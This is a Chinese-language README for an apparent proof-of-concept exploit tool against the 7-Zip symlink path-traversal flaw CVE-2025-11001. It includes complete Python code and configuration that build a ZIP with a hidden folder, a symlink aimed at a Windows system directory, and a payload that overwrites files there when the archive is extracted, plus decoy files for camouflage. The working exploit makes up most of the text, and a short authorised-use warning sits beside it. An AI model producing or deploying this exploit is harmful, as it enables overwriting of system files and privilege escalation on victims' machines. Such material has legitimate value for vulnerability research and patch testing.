项目标题与描述
7-ZiProwler (CVE-2025-11001)
这是一个针对CVE-2025-11001漏洞(7-Zip路径遍历漏洞)编写的概念验证(PoC)利用工具。该漏洞源于7-Zip(25.00版本之前)在Windows系统上处理包含Linux风格符号链接的ZIP压缩包时存在缺陷,攻击者可利用此漏洞实现任意文件写入,从而可能导致权限提升或系统被控制。
本项目使用Python编写,通过构造包含恶意符号链接的ZIP文件来演示该漏洞的利用过程。重要提示:请仅在授权的测试环境中使用此工具。
功能特性
- 漏洞利用自动化:根据配置文件自动生成包含恶意符号链接的ZIP压缩包。
- 模拟真实场景 :在ZIP包中创建一个隐藏的
.zip文件夹来存放符号链接,模拟可能的攻击载荷。 - 灵活的配置:通过TOML配置文件轻松指定目标目录、源文件目录、载荷文件以及输出文件路径。
- 详细的日志记录:执行过程中提供清晰的信息输出,便于跟踪工具的执行状态。
- 遵循漏洞原理:严格遵循CVE-2025-11001的漏洞成因,即利用相对路径处理不当导致的目录遍历。
安装指南
前提条件
- Python 3.x
- 包管理工具 :推荐使用
uv或pip。
依赖安装
项目依赖在代码中可见,主要是标准库和 toml 库。Python 3.11及以上版本的标准库已包含 toml 库(tomllib)。如果使用较早的Python版本,可能需要安装 toml。
使用 uv(项目推荐)安装运行环境:
bash
# 确保已安装uv (https://docs.astral.sh/uv/)
uv run src/main.py
使用 pip 安装依赖(如果需要):
bash
pip install toml
获取代码
假设您已将项目文件下载到本地。
使用说明
1. 配置
在使用前,必须编辑配置文件 resource/config.toml:
toml
[path]
# 生成的恶意ZIP文件的输出路径
output = 'resource/output/result.zip'
# 包含将要被打包到ZIP中的正常文件的源目录
source = 'path/to/some/dir'
# 目标目录(你希望替换其中文件的目录,例如系统目录)
target = 'C:\Windows\System32'
# 载荷文件(将用于替换目标目录中原文件的文件)
payload = 'C:\Windows\System32\calc.exe'
参数说明:
output: 工具运行后生成的ZIP文件路径。source: 一个包含正常文件的目录,这些文件会被打包到ZIP的根目录下,用于伪装。target: 希望进行文件替换的目标Windows绝对路径(例如系统目录)。payload: 用于替换目标文件的恶意载荷文件路径。
2. 运行利用程序
在项目根目录下执行:
bash
uv run src/main.py
或直接运行Python脚本:
bash
python src/main.py
3. 触发漏洞
将生成的ZIP文件(如result.zip)在存在漏洞的7-Zip版本(< 25.00)的Windows系统上解压。解压后,target参数指定的目录下的某个文件(由payload的文件名决定)将被替换为载荷文件。同时,解压出的文件夹中会包含一个隐藏的 .zip 文件夹。
警告: 生成的ZIP文件具有破坏性。请务必在隔离的虚拟机或测试环境中进行解压测试,切勿在生产环境或重要个人电脑上操作。
核心代码
以下摘录并注释了项目中的核心代码文件 src/main.py:
python
import os
import sys
import time
import toml
import logging
import zipfile
# ... (ASCII艺术字和日志配置省略)
def add_dir(output, arcname, hidden=False):
"""
向ZIP文件对象中添加一个目录条目。
参数:
output: zipfile.ZipFile 对象。
arcname: 目录在ZIP中的路径。
hidden: 布尔值,如果为True,则设置目录的DOS隐藏属性。
"""
if not arcname.endswith('/'):
arcname += '/'
conf = zipfile.ZipInfo(arcname)
conf.date_time = time.localtime(time.time())[:6]
DOS_DIR = 0x10
if hidden:
DOS_HIDDEN = 0x02
dos_attrs = DOS_DIR | DOS_HIDDEN
else:
dos_attrs = DOS_DIR
conf.external_attr = dos_attrs # 设置外部文件属性(此处用于模拟DOS目录和隐藏属性)
conf.compress_type = zipfile.ZIP_STORED # 使用存储模式(不压缩)
output.writestr(conf, b'') # 写入空内容以创建目录条目
logging.info(f"Added dir {arcname}")
def add_file(output, arcname, src_path):
"""
将本地文件添加到ZIP文件对象中。
参数:
output: zipfile.ZipFile 对象。
arcname: 文件在ZIP中的路径。
src_path: 本地源文件的路径。
"""
with open(src_path, 'rb') as f:
payload = f.read()
conf = zipfile.ZipInfo(arcname)
conf.date_time = time.localtime(time.time())[:6]
conf.create_system = 3 # 设置为UNIX系统,以兼容外部属性设置
conf.external_attr = (0o100644 << 16) # 设置类UNIX文件权限 (rw-r--r--)
conf.compress_type = zipfile.ZIP_STORED
output.writestr(conf, payload)
logging.info(f"Added file {arcname}")
def main():
# ... (打印横幅和启动日志省略)
# 1. 加载配置文件
with open("./resource/config.toml", 'r') as file:
config = toml.load(file)
zip_out = config["path"]["output"]
source = config["path"]["source"]
target = config["path"]["target"] # 目标目录,例如 C:\Windows\System32
payload = config["path"]["payload"] # 载荷文件
top_dir = os.path.basename(os.path.normpath(source))
# 2. 构造恶意路径结构
hidden_zip_dir = f"{top_dir}/.zip" # 隐藏的.zip目录
link = f"{hidden_zip_dir}/link" # 符号链接文件的路径
payload_name = os.path.basename(payload)
file_entry = f"{link}/{payload_name}" # 载荷文件在ZIP中的路径(将写入符号链接指向的位置)
output = zipfile.ZipFile(zip_out, "w")
# 3. 添加正常的目录和文件结构(用于伪装)
source_dir_path = os.path.normpath(source)
add_dir(output, top_dir)
add_dir(output, hidden_zip_dir, hidden=True) # 添加隐藏的.zip目录
for root, dirs, files in os.walk(source_dir_path):
for file in files:
file_path = os.path.join(root, file)
rel_path = os.path.relpath(file_path, source_dir_path)
arcname = f"{top_dir}/{rel_path}"
add_file(output, arcname, file_path)
for dir_name in dirs:
dir_path = os.path.join(root, dir_name)
rel_path = os.path.relpath(dir_path, source_dir_path)
arcname = f"{top_dir}/{rel_path}/"
add_dir(output, arcname)
# 4. 创建恶意的符号链接条目(漏洞利用的核心)
conf = zipfile.ZipInfo(link)
conf.date_time = time.localtime(time.time())[:6]
conf.create_system = 3 # UNIX系统
# 设置外部属性为符号链接 (0o120777 -> lrwxrwxrwx)
# 这是关键,它告诉解压软件这是一个符号链接文件
conf.external_attr = (0o120777 << 16)
conf.compress_type = zipfile.ZIP_STORED
# 将符号链接的目标路径(target)作为该ZIP条目的内容写入
# 存在漏洞的7-Zip会错误地将此相对路径与解压目录拼接,导致路径遍历
output.writestr(conf, target.encode('utf-8'))
logging.info("Symlink added")
# 5. 添加载荷文件。其路径(file_entry)指向了符号链接内部。
# 当解压时,7-Zip会尝试将此文件写入到符号链接指向的目标位置。
add_file(output, file_entry, payload)
logging.info(f"Bon Appétit!")
output.close()
if __name__ == "__main__":
main()
代码流程总结:
- 加载配置:读取目标路径、源目录和载荷文件。
- 构建ZIP结构 :创建包含正常文件的目录树和一个隐藏的
.zip文件夹。 - 植入符号链接 :在隐藏文件夹内创建一个符号链接文件,其内容(链接目标)指向配置的
target路径(如C:\Windows\System32)。 - 嵌入载荷 :将一个文件(载荷)添加到ZIP中,但其路径被设置为位于符号链接"内部"(例如
{隐藏文件夹}/link/calc.exe)。 - 漏洞触发 :当存在漏洞的7-Zip解压此ZIP时,会错误解析符号链接,将载荷文件写入到
target指定的系统目录中,覆盖原有文件。 6HFtX5dABrKlqXeO5PUv/zYh9Asx8aX0tywYbTHNzf8=